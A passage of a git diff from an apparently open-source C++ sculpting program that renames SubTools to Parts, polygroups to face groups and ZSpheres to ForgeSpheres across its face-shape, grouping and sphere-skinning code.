- float thickness = 0.015f; // fraction of the SubTool's largest side; < 0 grows inward, 0 = a single surface
+ float thickness = 0.015f; // fraction of the Part's largest side; < 0 grows inward, 0 = a single surface
int smooth = 5; // E Smt: smoothing passes along the edge of the extracted part (0-50)
bool doubleSided = false; // Double: the shell grows both ways from the surface by the thickness
bool triangleCorners = false; // TCorne: the rim keeps triangles (not quads) where the edge turns sharply
@@ -30,9 +30,9 @@ struct ExtractOptions {
float threshold = 0.5f; // a triangle is extracted when its corners' mean mask reaches this
};
-// The shell made from the masked, visible triangles of `mesh`: the outer surface (polygroup 1), the inner one
-// (polygroup 2) and the rim joining them (polygroup 3, quads), with the polypaint of the source. A single
-// surface (polygroup 1) when the thickness is 0. Empty (with `error`) when nothing is masked.
+// The shell made from the masked, visible triangles of `mesh`: the outer surface (face group 1), the inner one
+// (face group 2) and the rim joining them (face group 3, quads), with the vertex paint of the source. A single
+// surface (face group 1) when the thickness is 0. Empty (with `error`) when nothing is masked.
Mesh extractShell(const Mesh& mesh, const ExtractOptions& options, std::string& error);
// Mirror And Weld across the plane `axis` = 0 (X), 1 (Y) or 2 (Z) through the origin, keeping the + side (or
diff --git a/src/core/Face.cpp b/src/core/Face.cpp
index dbb4dcd1..229a0b76 100644
--- a/src/core/Face.cpp
+++ b/src/core/Face.cpp
@@ -768,7 +768,7 @@ std::string lower(std::string s) {
enum class PartKind { Skin, Eyes, Teeth, Tongue, Other };
-PartKind classifySubtool(const std::string& name) {
+PartKind classifyPart(const std::string& name) {
const std::string n = lower(name);
auto has = [&](const char* w) { return n.find(w) != std::string::npos; };
if (has("tongue")) return PartKind::Tongue;
@@ -878,13 +878,13 @@ glm::vec3 moveRigid(const Similarity& align, const glm::mat3& R, const glm::vec3
return align.apply(R * (x - shift) + tr + shift);
}
-// Undoable mesh replacement for SubTool `i` (the active one through Document::replaceMeshUndoable).
-void replaceSubtoolMesh(Document& doc, int i, Mesh m, const std::string& label) {
- if (i == doc.activeSubtool) {
+// Undoable mesh replacement for Part `i` (the active one through Document::replaceMeshUndoable).
+void replacePartMesh(Document& doc, int i, Mesh m, const std::string& label) {
+ if (i == doc.activePart) {
doc.replaceMeshUndoable(std::move(m), label);
return;
}
- SubTool& s = doc.subtools[size_t(i)];
+ Part& s = doc.parts[size_t(i)];
UndoRecord r;
r.label = label;
r.mesh = std::make_unique<Mesh>(std::move(s.mesh));
@@ -976,7 +976,7 @@ bool generateFaceShapes(Document& doc, const FaceShapesOptions& options, FaceSha
for (auto& v : d)
if (glm::length(v) < cutoff) v = glm::vec3(0.0f);
- // --- Into the active SubTool's layers ---
+ // --- Into the active Part's layers ---
for (size_t k = 0; k < names.size(); ++k) {
report.movedVertices = std::max(report.movedVertices,
size_t(std::count_if(deltas[k].begin(), deltas[k].end(),
@@ -986,22 +986,22 @@ bool generateFaceShapes(Document& doc, const FaceShapesOptions& options, FaceSha
m.evaluateAll();
m.recomputeAllNormals();
if (level != originalLevel && !subdivSetLevel(m, originalLevel, error)) return false;
- replaceSubtoolMesh(doc, doc.activeSubtool, std::move(m), "Generate Facial Shapes");
+ replacePartMesh(doc, doc.activePart, std::move(m), "Generate Facial Shapes");
- if (!options.subtools) return true;
+ if (!options.parts) return true;
- // --- The other SubTools ---
+ // --- The other Parts ---
const glm::vec3 mouthCenter = 0.5f * (fit.align.inverse(fit.landmarks.position[kMouthLeft]) +
fit.align.inverse(fit.landmarks.position[kMouthRight]));
const glm::vec3 templMouth = 0.5f * (t.neutral[kLandmarks[kMouthLeft].vertex] + t.neutral[kLandmarks[kMouthRight].vertex]);
const glm::vec3 shift = mouthCenter - templMouth; // where the sculpt's mouth sits relative to the template's
const float biteY = 0.5f * (t.upperTeethY + t.lowerTeethCentroid.y) + shift.y;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- if (i == doc.activeSubtool || !doc.subtools[size_t(i)].visible) continue;
- const std::string& name = doc.subtools[size_t(i)].name;
- const PartKind kind = classifySubtool(name);
- subdivCommit(doc.subtoolMesh(i));
- Mesh sm = doc.subtoolMesh(i);
+ for (int i = 0; i < doc.partCount(); ++i) {
+ if (i == doc.activePart || !doc.parts[size_t(i)].visible) continue;
+ const std::string& name = doc.parts[size_t(i)].name;
+ const PartKind kind = classifyPart(name);
+ subdivCommit(doc.partMesh(i));
+ Mesh sm = doc.partMesh(i);
if (sm.triangleCount() == 0) continue;
const int orig = subdivCurrentLevel(sm), lvl = faceLevel(sm, options.level);
if (lvl != orig && !subdivSetLevel(sm, lvl, error)) return false;
@@ -1075,8 +1075,8 @@ bool generateFaceShapes(Document& doc, const FaceShapesOptions& options, FaceSha
sm.evaluateAll();
sm.recomputeAllNormals();
if (lvl != orig && !subdivSetLevel(sm, orig, error)) return false;
- replaceSubtoolMesh(doc, i, std::move(sm), "Generate Facial Shapes");
- report.subtools.push_back(name + ": " + what);
+ replacePartMesh(doc, i, std::move(sm), "Generate Facial Shapes");
+ report.parts.push_back(name + ": " + what);
}
return true;
}
@@ -1111,7 +1111,7 @@ bool parseFaceWeights(const std::string& text, std::vector<std::pair<std::string
namespace {
// The vertices each layer moves, found once per layer and kept while its offsets stay the same: keyed by the
-// offsets' address and checked against their size, the SubTool's undo revision (strokes into a layer push an
+// offsets' address and checked against their size, the Part's undo revision (strokes into a layer push an
// undo step) and a few sampled values.
struct SupportEntry {
size_t size = 0;
@@ -1154,10 +1154,10 @@ FaceWeightsStats applyFaceWeights(Document& doc, const std::vector<std::pair<std
std::vector<uint8_t> matched(weights.size(), 0);
std::lock_guard lock(gSupportMutex);
if (gSupport.size() > 8192) gSupport.clear();
- for (int si = 0; si < doc.subtoolCount(); ++si) {
- Mesh& m = doc.subtoolMesh(si);
+ for (int si = 0; si < doc.partCount(); ++si) {
+ Mesh& m = doc.partMesh(si);
if (m.layers.empty() || m.base.size() != m.positions.size()) continue;
- const uint64_t revision = si == doc.activeSubtool ? doc.undo.revision() : doc.subtools[size_t(si)].undo.revision();
+ const uint64_t revision = si == doc.activePart ? doc.undo.revision() : doc.parts[size_t(si)].undo.revision();
std::vector<uint32_t> changed;
for (size_t w = 0; w < weights.size(); ++w)
for (size_t li = 0; li < m.layers.size(); ++li)
@@ -1210,8 +1210,8 @@ FaceWeightsStats applyFaceWeights(Document& doc, const std::vector<std::pair<std
if (verts.empty()) continue;
m.updateNormals(verts); // (also marks them, and their neighbours, for the GPU)
stats.vertices += verts.size();
- if (si == doc.activeSubtool) doc.bvhDirty = true;
- else doc.subtools[size_t(si)].bvhDirty = true;
+ if (si == doc.activePart) doc.bvhDirty = true;
+ else doc.parts[size_t(si)].bvhDirty = true;
}
for (size_t w = 0; w < weights.size(); ++w) {
if (matched[w]) ++stats.matched;
diff --git a/src/core/Face.h b/src/core/Face.h
index 94e01a91..9847fd03 100644
--- a/src/core/Face.h
+++ b/src/core/Face.h
@@ -16,8 +16,8 @@
// the sculpt's proportions instead of the template's.
// 4. Bind: every sculpt vertex near the face takes the offsets of its closest point on the fitted template (with
// a falloff), so the sculpt's own detail rides along. Symmetric sculpts get mirrored Left / Right pairs.
-// 5. SubTools: eyes (named "eye...") rotate for the eyeLook shapes, teeth and tongue ("teeth", "tooth", "gum",
-// "jaw", "tongue") follow the lower jaw's motion below the bite, and other SubTools on the face (brows,
+// 5. Parts: eyes (named "eye...") rotate for the eyeLook shapes, teeth and tongue ("teeth", "tooth", "gum",
+// "jaw", "tongue") follow the lower jaw's motion below the bite, and other Parts on the face (brows,
// lashes, beard) follow the skin.
// Multires: the shapes are made at the lowest level with enough vertices for a face (kFaceMinVertices) and the
// subdivision levels carry them up, so higher-level detail is kept.
@@ -120,7 +120,7 @@ constexpr size_t kFaceMinVertices = 20000;
struct FaceShapesOptions {
FaceFitLandmarks landmarks; // none set = automatic
int symmetry = -1; // -1 = when the sculpt is symmetric about X = 0, 0 = off, 1 = on
- bool subtools = true; // eyes, teeth, tongue and SubTools on the face get the shapes too
+ bool parts = true; // eyes, teeth, tongue and Parts on the face get the shapes too
int level = -1; // subdivision level to make them on (-1 = the lowest with kFaceMinVertices)
};
struct FaceShapesReport {
@@ -128,10 +128,10 @@ struct FaceShapesReport {
int level = 0; // the subdivision level the shapes were made on
bool symmetric = false; // Left / Right were mirrored
size_t movedVertices = 0;
- std::vector<std::string> subtools; // "Eyes: eye rotations", ...
+ std::vector<std::string> parts; // "Eyes: eye rotations", ...
};
-// Gives the active SubTool (and, with options.subtools, the others) the 52 shapes as sculpt layers at weight 0,
-// replacing layers with those names; one undo step per SubTool (active one: "Generate Facial Shapes").
+// Gives the active Part (and, with options.parts, the others) the 52 shapes as sculpt layers at weight 0,
+// replacing layers with those names; one undo step per Part (active one: "Generate Facial Shapes").
bool generateFaceShapes(Document& doc, const FaceShapesOptions& options, FaceShapesReport& report, std::string& error);
// --- Live weights (face_weights) ---
@@ -139,11 +139,11 @@ bool generateFaceShapes(Document& doc, const FaceShapesOptions& options, FaceSha
bool parseFaceWeights(const std::string& json, std::vector<std::pair<std::string, float>>& out, std::string& error);
struct FaceWeightsStats {
int layers = 0; // layers whose weight changed
- size_t vertices = 0; // vertices re-evaluated (all SubTools)
- int matched = 0; // names that matched a layer on some SubTool
- std::vector<std::string> unknown; // names no SubTool has
+ size_t vertices = 0; // vertices re-evaluated (all Parts)
+ int matched = 0; // names that matched a layer on some Part
+ std::vector<std::string> unknown; // names no Part has
};
-// Sets the weights of the layers with these names on every SubTool. Only the vertices those layers move are
+// Sets the weights of the layers with these names on every Part. Only the vertices those layers move are
// re-evaluated (positions, normals, dirty range for the GPU); no undo step, the document isn't marked modified.
FaceWeightsStats applyFaceWeights(Document& doc, const std::vector<std::pair<std::string, float>>& weights);
diff --git a/src/core/FaceCommands.cpp b/src/core/FaceCommands.cpp
index 56b1e495..f62d9f73 100644
--- a/src/core/FaceCommands.cpp
+++ b/src/core/FaceCommands.cpp
@@ -43,11 +43,11 @@ Mesh faceTemplateHeadMesh(Mesh* eyes) {
++i;
}
}
- // Polygroups: skin, mouth, eye sockets.
- m.ensurePolygroups();
+ // Face groups: skin, mouth, eye sockets.
+ m.ensureFaceGroups();
for (uint32_t i = 0; i < m.triangles.size(); ++i) {
const uint32_t v = std::min({m.triangles[i].x, m.triangles[i].y, m.triangles[i].z});
- m.polygroups[i] = v < t.skinEnd ? 0u : v < t.mouthEnd ? 1u : 2u;
+ m.facegroups[i] = v < t.skinEnd ? 0u : v < t.mouthEnd ? 1u : 2u;
}
m.rebuildTopology();
m.recomputeAllNormals();
@@ -85,7 +85,7 @@ void registerFaceCommands(CommandRegistry& registry) {
Mesh eyes;
Mesh head = faceTemplateHeadMesh(&eyes);
doc.setMesh(std::move(head), "Head");
- doc.addSubtool(std::move(eyes), "Eyes", false);
+ doc.addPart(std::move(eyes), "Eyes", false);
doc.path.clear();
return {true, "New head (" + std::to_string(doc.mesh.vertexCount()) + " vertices) with Eyes"};
}});
@@ -103,7 +103,7 @@ void registerFaceCommands(CommandRegistry& registry) {
false},
{"symmetry", T::String,
"auto (default: mirror Left / Right when the sculpt is symmetric about X = 0), on or off.", false},
- {"subtools", T::Bool, "Also give the shapes to eyes, teeth, tongue and Parts on the face (default true).",
+ {"parts", T::Bool, "Also give the shapes to eyes, teeth, tongue and Parts on the face (default true).",
false},
{"level", T::Number,
"Subdivision level (1-based, as SDiv) to make the shapes on; default: the lowest with at least 20,000 "
@@ -120,15 +120,15 @@ void registerFaceCommands(CommandRegistry& registry) {
}
const std::string sym = argString(a, "symmetry", "auto");
o.symmetry = sym == "on" || sym == "true" || sym == "1" ? 1 : sym == "off" || sym == "false" || sym == "0" ? 0 : -1;
- o.subtools = argBool(a, "subtools", true);
+ o.parts = argBool(a, "parts", true);
if (a.count("level")) o.level = int(argNumber(a, "level", 1.0)) - 1;
FaceShapesReport r;
if (!generateFaceShapes(doc, o, r, error)) return {false, error};
- std::string msg = "Generated 52 facial shapes on " + doc.activeSubtoolInfo().name;
+ std::string msg = "Generated 52 facial shapes on " + doc.activePartInfo().name;
if (subdivLevelCount(doc.mesh)) msg += " (made at SDiv " + std::to_string(r.level + 1) + ")";
msg += ": fit error " + percent(headShare(r.fit)) + " of the head, " + percent(r.fit.coverage) +
" of the template's face on the sculpt" + (r.symmetric ? ", Left/Right mirrored" : "");
- for (const auto& s : r.subtools) msg += "; " + s;
+ for (const auto& s : r.parts) msg += "; " + s;
return {true, msg};
}});
diff --git a/src/core/Polygroups.cpp b/src/core/FaceGroups.cpp
similarity index 90%
rename from src/core/Polygroups.cpp
rename to src/core/FaceGroups.cpp
index c52b1fcf..6af9a9a5 100644
--- a/src/core/Polygroups.cpp
+++ b/src/core/FaceGroups.cpp
@@ -1,6 +1,6 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
-#include "core/Polygroups.h"
+#include "core/FaceGroups.h"
#include "core/Commands.h"
#include "core/Masking.h"
@@ -42,12 +42,12 @@ void forEachEdgeNeighbor(const Mesh& m, uint32_t t, Fn fn) {
uint32_t firstIdForVisible(const Mesh& m) {
uint32_t id = 0;
for (uint32_t t = 0; t < m.triangleCount(); ++t)
- if (m.triangleHidden(t)) id = std::max(id, m.polygroupAt(t) + 1);
+ if (m.triangleHidden(t)) id = std::max(id, m.facegroupAt(t) + 1);
return id;
}
std::vector<uint32_t> currentGroups(const Mesh& m) {
- return m.hasPolygroups() ? m.polygroups : std::vector<uint32_t>(m.triangleCount(), 0u);
+ return m.hasFaceGroups() ? m.facegroups : std::vector<uint32_t>(m.triangleCount(), 0u);
}
std::vector<uint8_t> currentHidden(const Mesh& m) {
@@ -110,20 +110,20 @@ size_t commitHidden(Document& doc, const std::vector<uint8_t>& proposed, const s
return changed;
}
-size_t commitPolygroups(Document& doc, const std::vector<uint32_t>& proposed, const std::string& label) {
+size_t commitFaceGroups(Document& doc, const std::vector<uint32_t>& proposed, const std::string& label) {
Mesh& m = doc.mesh;
UndoRecord r;
r.label = label;
for (uint32_t t = 0; t < m.triangleCount(); ++t) {
- const uint32_t old = m.polygroupAt(t);
- if (old != proposed[t]) r.polygroups.add(t, old);
+ const uint32_t old = m.facegroupAt(t);
+ if (old != proposed[t]) r.facegroups.add(t, old);
}
- if (r.polygroups.empty()) return 0;
- m.ensurePolygroups();
- for (uint32_t t : r.polygroups.indices) m.polygroups[t] = proposed[t];
- if (std::all_of(m.polygroups.begin(), m.polygroups.end(), [](uint32_t g) { return g == 0; })) m.clearPolygroups();
+ if (r.facegroups.empty()) return 0;
+ m.ensureFaceGroups();
+ for (uint32_t t : r.facegroups.indices) m.facegroups[t] = proposed[t];
+ if (std::all_of(m.facegroups.begin(), m.facegroups.end(), [](uint32_t g) { return g == 0; })) m.clearFaceGroups();
m.facesDirty = true;
- const size_t changed = r.polygroups.indices.size();
+ const size_t changed = r.facegroups.indices.size();
doc.undo.push(std::move(r));
doc.modified = true;
return changed;
@@ -136,12 +136,12 @@ std::string visibleSummary(const Mesh& m) {
}
std::string groupSummary(const Mesh& m) {
- return std::to_string(visiblePolygroupCount(m)) + " visible face groups";
+ return std::to_string(visibleFaceGroupCount(m)) + " visible face groups";
}
bool groupExists(const Mesh& m, uint32_t group) {
for (uint32_t t = 0; t < m.triangleCount(); ++t)
- if (m.polygroupAt(t) == group) return true;
+ if (m.facegroupAt(t) == group) return true;
return false;
}
@@ -165,17 +165,17 @@ std::vector<uint8_t> hiddenByShape(const Mesh& mesh, const glm::mat4& viewProj,
} // namespace
-uint32_t nextPolygroupId(const Mesh& mesh) {
+uint32_t nextFaceGroupId(const Mesh& mesh) {
if (mesh.triangleCount() == 0) return 0;
uint32_t id = 1; // everything is at least in the default group 0
- for (uint32_t g : mesh.polygroups) id = std::max(id, g + 1);
+ for (uint32_t g : mesh.facegroups) id = std::max(id, g + 1);
return id;
}
-size_t visiblePolygroupCount(const Mesh& mesh) {
+size_t visibleFaceGroupCount(const Mesh& mesh) {
std::set<uint32_t> ids;
for (uint32_t t = 0; t < mesh.triangleCount(); ++t)
- if (!mesh.triangleHidden(t)) ids.insert(mesh.polygroupAt(t));
+ if (!mesh.triangleHidden(t)) ids.insert(mesh.facegroupAt(t));
return ids.size();
}
@@ -215,7 +215,7 @@ std::vector<uint32_t> groupsByUvs(const Mesh& mesh) {
std::vector<uint32_t> groupsFromMask(const Mesh& mesh, size_t* changed) {
std::vector<uint32_t> groups = currentGroups(mesh);
- const uint32_t id = nextPolygroupId(mesh);
+ const uint32_t id = nextFaceGroupId(mesh);
size_t n = 0;
if (mesh.hasMask()) {
for (uint32_t t = 0; t < mesh.triangleCount(); ++t) {
@@ -245,13 +245,13 @@ std::vector<uint32_t> groupsMergeVisible(const Mesh& mesh) {
std::vector<uint8_t> hiddenHideGroup(const Mesh& mesh, uint32_t group) {
std::vector<uint8_t> hidden = currentHidden(mesh);
for (uint32_t t = 0; t < mesh.triangleCount(); ++t)
- if (mesh.polygroupAt(t) == group) hidden[t] = 1;
+ if (mesh.facegroupAt(t) == group) hidden[t] = 1;
return unlessAllHidden(std::move(hidden));
}
std::vector<uint8_t> hiddenIsolateGroup(const Mesh& mesh, uint32_t group) {
std::vector<uint8_t> hidden(mesh.triangleCount());
- for (uint32_t t = 0; t < mesh.triangleCount(); ++t) hidden[t] = uint8_t(mesh.polygroupAt(t) == group ? 0 : 1);
+ for (uint32_t t = 0; t < mesh.triangleCount(); ++t) hidden[t] = uint8_t(mesh.facegroupAt(t) == group ? 0 : 1);
return unlessAllHidden(std::move(hidden));
}
@@ -275,10 +275,10 @@ std::vector<uint8_t> hiddenByLasso(const Mesh& mesh, const glm::mat4& viewProj,
return hiddenByShape(mesh, viewProj, [&](glm::vec2 p) { return polygon.contains(p); }, hideInside, mirrors);
}
-bool polygroupIsolated(const Mesh& mesh, uint32_t group) {
+bool facegroupIsolated(const Mesh& mesh, uint32_t group) {
bool any = false;
for (uint32_t t = 0; t < mesh.triangleCount(); ++t) {
- const bool in = mesh.polygroupAt(t) == group;
+ const bool in = mesh.facegroupAt(t) == group;
if (in == mesh.triangleHidden(t)) return false;
any = any || in;
}
@@ -314,7 +314,7 @@ Mesh extractTriangles(const Mesh& mesh, const std::vector<uint8_t>& keep) {
out.triangles.push_back(tri);
out.hidden.push_back(mesh.triangleHidden(t) ? 1 : 0);
anyHidden |= mesh.triangleHidden(t);
- if (mesh.hasPolygroups()) out.polygroups.push_back(mesh.polygroups[t]);
+ if (mesh.hasFaceGroups()) out.facegroups.push_back(mesh.facegroups[t]);
if (mesh.hasUvs()) out.uvs.insert(out.uvs.end(), mesh.uvs.begin() + std::ptrdiff_t(t) * 3,
mesh.uvs.begin() + std::ptrdiff_t(t) * 3 + 3);
}
@@ -345,62 +345,62 @@ Mesh extractTriangles(const Mesh& mesh, const std::vector<uint8_t>& keep) {
return out;
}
-void registerPolygroupCommands(CommandRegistry& reg) {
+void registerFaceGroupCommands(CommandRegistry& reg) {
using T = ParamSpec::Type;
- // --- Polygroups ---
+ // --- Face groups ---
reg.add(
- {"polygroup_auto_by_normals",
+ {"facegroup_auto_by_normals",
"Split the visible surface into face groups wherever it turns more than an angle (each flat side of a "
"box becomes a group).",
{{"angle", T::Number, "Largest normal deviation inside one group, in degrees (1-180). Default 30.", false}},
[](Document& doc, const Args& a) -> CommandResult {
const float angle = float(std::clamp(argNumber(a, "angle", 30.0), 1.0, 180.0));
- commitPolygroups(doc, groupsByNormals(doc.mesh, angle), "Groups by Normals");
+ commitFaceGroups(doc, groupsByNormals(doc.mesh, angle), "Groups by Normals");
return {true, groupSummary(doc.mesh)};
}});
- reg.add({"polygroup_by_connectivity",
+ reg.add({"facegroup_by_connectivity",
"Give every disconnected piece of the visible mesh its own face group.",
{},
[](Document& doc, const Args&) -> CommandResult {
- commitPolygroups(doc, groupsByConnectivity(doc.mesh), "Groups by Connectivity");
+ commitFaceGroups(doc, groupsByConnectivity(doc.mesh), "Groups by Connectivity");
return {true, groupSummary(doc.mesh)};
}});
- reg.add({"polygroup_uv",
+ reg.add({"facegroup_uv",
"Give every UV island of the visible mesh its own face group.", {},
[](Document& doc, const Args&) -> CommandResult {
if (!doc.mesh.hasUvs()) return {false, "This mesh has no UVs: unwrap it first (Tool > UV Map)"};
- commitPolygroups(doc, groupsByUvs(doc.mesh), "Group by UVs");
+ commitFaceGroups(doc, groupsByUvs(doc.mesh), "Group by UVs");
return {true, groupSummary(doc.mesh)};
}});
- reg.add({"polygroup_from_mask",
+ reg.add({"facegroup_from_mask",
"Move the masked (visible) part of the mesh into a new face group.", {},
[](Document& doc, const Args&) -> CommandResult {
size_t n = 0;
std::vector<uint32_t> groups = groupsFromMask(doc.mesh, &n);
if (n == 0) return {false, "Nothing is masked"};
- const uint32_t id = nextPolygroupId(doc.mesh);
- commitPolygroups(doc, groups, "Group Masked");
+ const uint32_t id = nextFaceGroupId(doc.mesh);
+ commitFaceGroups(doc, groups, "Group Masked");
return {true, "Face Group " + std::to_string(id) + " with " + std::to_string(n) + " masked triangles"};
}});
- reg.add({"polygroup_clear", "Remove all face groups (everything returns to one group).", {},
+ reg.add({"facegroup_clear", "Remove all face groups (everything returns to one group).", {},
[](Document& doc, const Args&) -> CommandResult {
- commitPolygroups(doc, std::vector<uint32_t>(doc.mesh.triangleCount(), 0u), "Clear Face Groups");
+ commitFaceGroups(doc, std::vector<uint32_t>(doc.mesh.triangleCount(), 0u), "Clear Face Groups");
return {true, "Face Groups cleared"};
}});
- reg.add({"polygroup_merge_visible", "Merge everything visible into a single face group.", {},
+ reg.add({"facegroup_merge_visible", "Merge everything visible into a single face group.", {},
[](Document& doc, const Args&) -> CommandResult {
- commitPolygroups(doc, groupsMergeVisible(doc.mesh), "Group Visible");
+ commitFaceGroups(doc, groupsMergeVisible(doc.mesh), "Group Visible");
return {true, groupSummary(doc.mesh)};
}});
// --- Visibility ---
- reg.add({"hide_polygroup", "Hide one face group.",
+ reg.add({"hide_facegroup", "Hide one face group.",
{{"group", T::Number, "Face Group id.", true}},
[](Document& doc, const Args& a) -> CommandResult {
const uint32_t group = uint32_t(std::max(0.0, argNumber(a, "group", 0)));
@@ -411,7 +411,7 @@ void registerPolygroupCommands(CommandRegistry& reg) {
return {true, visibleSummary(doc.mesh)};
}});
- reg.add({"isolate_polygroup", "Show only one face group and hide the rest.",
+ reg.add({"isolate_facegroup", "Show only one face group and hide the rest.",
{{"group", T::Number, "Face Group id.", true}},
[](Document& doc, const Args& a) -> CommandResult {
const uint32_t group = uint32_t(std::max(0.0, argNumber(a, "group", 0)));
diff --git a/src/core/Polygroups.h b/src/core/FaceGroups.h
similarity index 77%
rename from src/core/Polygroups.h
rename to src/core/FaceGroups.h
index 064ee9c4..d4cfaa02 100644
--- a/src/core/Polygroups.h
+++ b/src/core/FaceGroups.h
@@ -1,10 +1,10 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Polygroups and visibility, ZBrush style. Grouping operations work on the
+// Face groups and visibility, classic. Grouping operations work on the
// visible triangles only (hidden ones keep their groups), so "isolate, then
// group" refines one part at a time. All functions here change the mesh
-// directly; the commands registered by registerPolygroupCommands() wrap them
+// directly; the commands registered by registerFace groupCommands() wrap them
// with undo records.
#pragma once
@@ -20,12 +20,12 @@ namespace sf {
class CommandRegistry;
-// Id above every group in use (1 on a mesh without polygroups, 0 on an empty mesh).
-uint32_t nextPolygroupId(const Mesh& mesh);
+// Id above every group in use (1 on a mesh without face groups, 0 on an empty mesh).
+uint32_t nextFaceGroupId(const Mesh& mesh);
// Number of distinct group ids among the visible triangles.
-size_t visiblePolygroupCount(const Mesh& mesh);
+size_t visibleFaceGroupCount(const Mesh& mesh);
-// The functions below return proposed full-size polygroup / hidden arrays and
+// The functions below return proposed full-size face group / hidden arrays and
// leave the mesh alone; the commands write them with sparse undo records.
// Regions of visible triangles whose normals stay within `maxAngleDegrees` of
@@ -33,7 +33,7 @@ size_t visiblePolygroupCount(const Mesh& mesh);
std::vector<uint32_t> groupsByNormals(const Mesh& mesh, float maxAngleDegrees);
// One group per edge-connected piece of visible triangles.
std::vector<uint32_t> groupsByConnectivity(const Mesh& mesh);
-// One group per UV island: visible triangles joined across edges whose UVs match at both ends (ZBrush UV Groups).
+// One group per UV island: visible triangles joined across edges whose UVs match at both ends (UV Groups).
// Empty when the mesh has no UVs.
std::vector<uint32_t> groupsByUvs(const Mesh& mesh);
// Visible triangles whose average vertex mask is >= 0.5 move to a new group;
@@ -44,7 +44,7 @@ std::vector<uint32_t> groupsMergeVisible(const Mesh& mesh);
// Visibility proposals. They never hide triangles that are already hidden
// unless stated (invert), and return an empty vector when nothing would be
-// visible afterwards (callers refuse that, as ZBrush does).
+// visible afterwards (callers refuse that).
std::vector<uint8_t> hiddenHideGroup(const Mesh& mesh, uint32_t group);
std::vector<uint8_t> hiddenIsolateGroup(const Mesh& mesh, uint32_t group);
std::vector<uint8_t> hiddenInverted(const Mesh& mesh);
@@ -60,16 +60,16 @@ std::vector<uint8_t> hiddenByLasso(const Mesh& mesh, const glm::mat4& viewProj,
bool hideInside, const std::vector<SymCopy>& mirrors = {});
// True when every triangle of `group` is visible and no other is.
-bool polygroupIsolated(const Mesh& mesh, uint32_t group);
+bool facegroupIsolated(const Mesh& mesh, uint32_t group);
// Copy of `mesh` without its hidden triangles: unused vertices are removed and
-// every attribute (mask, colours, polygroups, UVs, sculpt layers) compacted.
+// every attribute (mask, colours, face groups, UVs, sculpt layers) compacted.
Mesh deleteHiddenTriangles(const Mesh& mesh);
// Copy of the triangles with keep[t] != 0, compacted the same way (hidden flags are kept).
Mesh extractTriangles(const Mesh& mesh, const std::vector<uint8_t>& keep);
-// Adds the polygroup and visibility commands (polygroup_*, hide_polygroup,
-// isolate_polygroup, show_all, invert_visibility, hide_rect, hide_lasso, delete_hidden).
-void registerPolygroupCommands(CommandRegistry& registry);
+// Adds the face group and visibility commands (face group_*, hide_face group,
+// isolate_face group, show_all, invert_visibility, hide_rect, hide_lasso, delete_hidden).
+void registerFaceGroupCommands(CommandRegistry& registry);
} // namespace sf
diff --git a/src/core/ZSpheres.cpp b/src/core/ForgeSpheres.cpp
similarity index 73%
rename from src/core/ZSpheres.cpp
rename to src/core/ForgeSpheres.cpp
index b8e606e1..504be1cb 100644
--- a/src/core/ZSpheres.cpp
+++ b/src/core/ForgeSpheres.cpp
@@ -1,6 +1,6 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
-#include "core/ZSpheres.h"
+#include "core/ForgeSpheres.h"
#include "core/Commands.h"
#include "core/PathStroke.h"
@@ -63,19 +63,19 @@ struct Piece {
uint32_t group;
};
-std::vector<Piece> skinPieces(const std::vector<ZSphere>& s) {
+std::vector<Piece> skinPieces(const std::vector<ForgeSphere>& s) {
std::vector<Piece> out;
for (size_t i = 1; i < s.size(); ++i) {
- const ZSphere& p = s[size_t(s[i].parent)];
- out.push_back({p.center, s[i].center, p.radius, s[i].radius, kZSphereLinkGroup + uint32_t(i)});
+ const ForgeSphere& p = s[size_t(s[i].parent)];
+ out.push_back({p.center, s[i].center, p.radius, s[i].radius, kForgeSphereLinkGroup + uint32_t(i)});
}
- if (out.empty() && !s.empty()) out.push_back({s[0].center, s[0].center, s[0].radius, s[0].radius, kZSphereGroup});
+ if (out.empty() && !s.empty()) out.push_back({s[0].center, s[0].center, s[0].radius, s[0].radius, kForgeSphereGroup});
return out;
}
float pieceDistance(const Piece& q, const vec3& p) { return roundConeDistance(p, q.a, q.b, q.ra, q.rb); }
-// How wide the blend between two pieces is: a quarter of the thinner end, so joints fill out like ZBrush's skin.
+// How wide the blend between two pieces is: a quarter of the thinner end, so joints fill out skin.
float blendWidth(const Piece& q) { return 0.25f * std::min(q.ra, q.rb); }
// Mirrors of `sym` other than the identity.
@@ -85,10 +85,10 @@ std::vector<vec3> otherMirrors(Symmetry sym) {
return m;
}
-bool validIndex(const std::vector<ZSphere>& s, int i) { return i >= 0 && size_t(i) < s.size(); }
+bool validIndex(const std::vector<ForgeSphere>& s, int i) { return i >= 0 && size_t(i) < s.size(); }
// Every sphere in the subtrees rooted at `roots` (the roots too).
-std::vector<char> subtrees(const std::vector<ZSphere>& s, const std::vector<int>& roots) {
+std::vector<char> subtrees(const std::vector<ForgeSphere>& s, const std::vector<int>& roots) {
std::vector<char> gone(s.size(), 0);
for (int r : roots) gone[size_t(r)] = 1;
for (bool changed = true; changed;) { // parents may come after children (an inserted sphere), so until stable
@@ -105,7 +105,7 @@ void appendPart(Mesh& dst, const Mesh& src, uint32_t group, const vec3& color) {
dst.positions.insert(dst.positions.end(), src.positions.begin(), src.positions.end());
dst.colors.insert(dst.colors.end(), src.positions.size(), color);
for (const glm::uvec3& t : src.triangles) dst.triangles.push_back(t + glm::uvec3(base));
- dst.polygroups.insert(dst.polygroups.end(), src.triangles.size(), group);
+ dst.facegroups.insert(dst.facegroups.end(), src.triangles.size(), group);
}
Mesh unitSphere() {
@@ -141,18 +141,18 @@ std::string fmt(const char* f, double a, double b = 0, double c = 0, double d =
} // namespace
-int zsphereOfGroup(uint32_t group, bool* link) {
- if (link) *link = group >= kZSphereLinkGroup;
- if (group >= kZSphereLinkGroup) return int(group - kZSphereLinkGroup);
- if (group >= kZSphereGroup) return int(group - kZSphereGroup);
+int forgesphereOfGroup(uint32_t group, bool* link) {
+ if (link) *link = group >= kForgeSphereLinkGroup;
+ if (group >= kForgeSphereLinkGroup) return int(group - kForgeSphereLinkGroup);
+ if (group >= kForgeSphereGroup) return int(group - kForgeSphereGroup);
return -1;
}
-std::string zspheresValidate(const std::vector<ZSphere>& s) {
+std::string forgespheresValidate(const std::vector<ForgeSphere>& s) {
if (s.empty()) return "no spheres";
if (s[0].parent != -1) return "sphere 0 must be the root (parent -1)";
